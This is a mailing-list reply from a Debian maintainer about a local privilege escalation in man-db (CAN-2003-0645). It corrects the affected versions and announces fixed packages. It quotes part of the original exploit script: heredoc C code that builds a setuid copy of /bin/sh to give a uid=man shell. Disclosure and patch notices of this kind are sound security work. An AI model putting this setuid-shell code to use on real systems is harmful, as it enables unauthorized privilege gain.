Re: man-db[v2.4.1-]: open_cat_stream() privileged call exploit.

[Colin Watson <cjwatson () debian org>]

In article <20030806082358.2564.qmail () www securityfocus com>, Vade 79 wrote:
> # man-db[v2.4.1-]: local uid=man exploit.

Correction: 2.3.12 (a beta release) and 2.3.18 to 2.4.1.

> echo "[*] making runme, and mansh source files..."
> cat <<EOF>runme.c
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> int main(int argc,char **argv){
> setreuid(geteuid(),geteuid());
> system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
> chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
> unlink(argv[0]);
> exit(0);
> }
> EOF
> cat <<EOF>mansh.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <unistd.h>
> int main(){
> setreuid(geteuid(),geteuid());
> execl("/bin/sh","sh",0);
> exit(0);
> }
> EOF

It can be done with a lot less effort and in about a tenth of the space
without resorting to compiled code, but I'll leave that as an exercise
for the reader ... :-)

Anyway, Debian man-db 2.3.20-18.woody.2 (stable) and 2.4.1-12 (unstable)
fix this. I'm working to release 2.4.2 as well. This is CAN-2003-0645.

-- 
Colin Watson                                       [cjwatson () debian org]